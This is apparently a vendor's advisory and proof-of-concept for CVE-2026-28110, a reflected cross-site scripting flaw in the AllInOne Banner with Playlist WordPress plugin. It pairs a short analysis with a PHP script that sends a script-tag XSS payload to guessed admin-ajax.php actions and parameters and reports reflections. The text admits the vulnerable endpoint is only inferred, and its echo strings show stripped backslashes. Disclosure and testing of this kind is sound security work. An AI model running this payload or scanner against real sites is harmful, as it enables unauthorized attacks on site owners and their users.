Atomic Edge analysis of CVE-2026-28110 (metadata-based):
The vulnerability is a classic reflected cross-site scripting (XSS) flaw in the LambertGroup AllInOne Banner with Playlist WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states insufficient input sanitization and output escaping in versions up to and including 3.8. This allows unauthenticated attackers to inject arbitrary web scripts via user-controllable input that is reflected in the plugin’s output without proper escaping.
Atomic Edge research infers the attack vector likely involves a WordPress AJAX handler or admin page endpoint that accepts user input via GET or POST parameters. The plugin slug ‘all-in-one-bannerWithPlaylist’ suggests AJAX actions may follow patterns like ‘all_in_one_bannerWithPlaylist_action’ or ‘bannerWithPlaylist_action’. The vulnerability requires user interaction (UI:R in CVSS vector), meaning attackers must trick authenticated users into clicking a malicious link containing the payload. The CVSS score of 6.1 reflects medium severity with scope change (S:C), indicating the attack can affect other browser contexts beyond the vulnerable page.
Confirmed facts: The vulnerability exists due to insufficient input sanitization and output escaping. It affects plugin versions ≤3.8. It enables unauthenticated attackers to inject arbitrary web scripts.
Inferences from Atomic Edge analysis: The vulnerable endpoint is likely an AJAX handler (admin-ajax.php) or admin page that echoes user input without proper escaping. The fix would require adding proper sanitization (like sanitize_text_field) on input and escaping (like esc_html or esc_js) on output. Exploitation impact includes session hijacking, administrative actions performed by victims, or defacement within the WordPress context.
Without patched versions available for comparison, the exact vulnerable parameter remains unspecified. However, WordPress plugin patterns suggest parameters like ‘id’, ‘name’, ‘title’, or ‘settings’ in AJAX actions or admin page submissions are common vectors for such XSS vulnerabilities.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28110 - LambertGroup - AllInOne - Banner with Playlist <= 3.8 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-28110
* This script demonstrates reflected XSS in the AllInOne Banner with Playlist plugin.
* Since exact vulnerable endpoints are not confirmed, this PoC tests common WordPress AJAX patterns.
* Assumptions: The plugin uses AJAX handlers with action parameters containing the plugin slug.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common AJAX action patterns based on plugin slug
$action_patterns = [
'all_in_one_bannerWithPlaylist_action',
'bannerWithPlaylist_action',
'all_in_one_banner_action',
'banner_with_playlist_action'
];
// XSS payload that triggers an alert for demonstration
$xss_payload = '"><script>alert(document.domain)</script>';
// Test parameters commonly vulnerable to reflected XSS in WordPress plugins
$test_params = ['id', 'name', 'title', 'settings', 'param', 'data'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
foreach ($action_patterns as $action) {
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Test GET parameters
foreach ($test_params as $param) {
$query_string = http_build_query([
'action' => $action,
$param => $xss_payload
]);
$test_url = $ajax_url . '?' . $query_string;
curl_setopt($ch, CURLOPT_URL, $test_url);
$response = curl_exec($ch);
if (strpos($response, $xss_payload) !== false) {
echo "Potential vulnerability found!n";
echo "URL: $test_urln";
echo "Action: $actionn";
echo "Parameter: $paramn";
echo "Response contains unsanitized payload.nn";
}
}
// Test POST parameters
foreach ($test_params as $param) {
$post_data = [
'action' => $action,
$param => $xss_payload
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
if (strpos($response, $xss_payload) !== false) {
echo "Potential vulnerability found!n";
echo "POST URL: $ajax_urln";
echo "Action: $actionn";
echo "Parameter: $paramn";
echo "Response contains unsanitized payload.nn";
}
}
}
curl_close($ch);
echo "Testing complete. If no vulnerabilities found, the endpoint may use different patterns.n";
?>
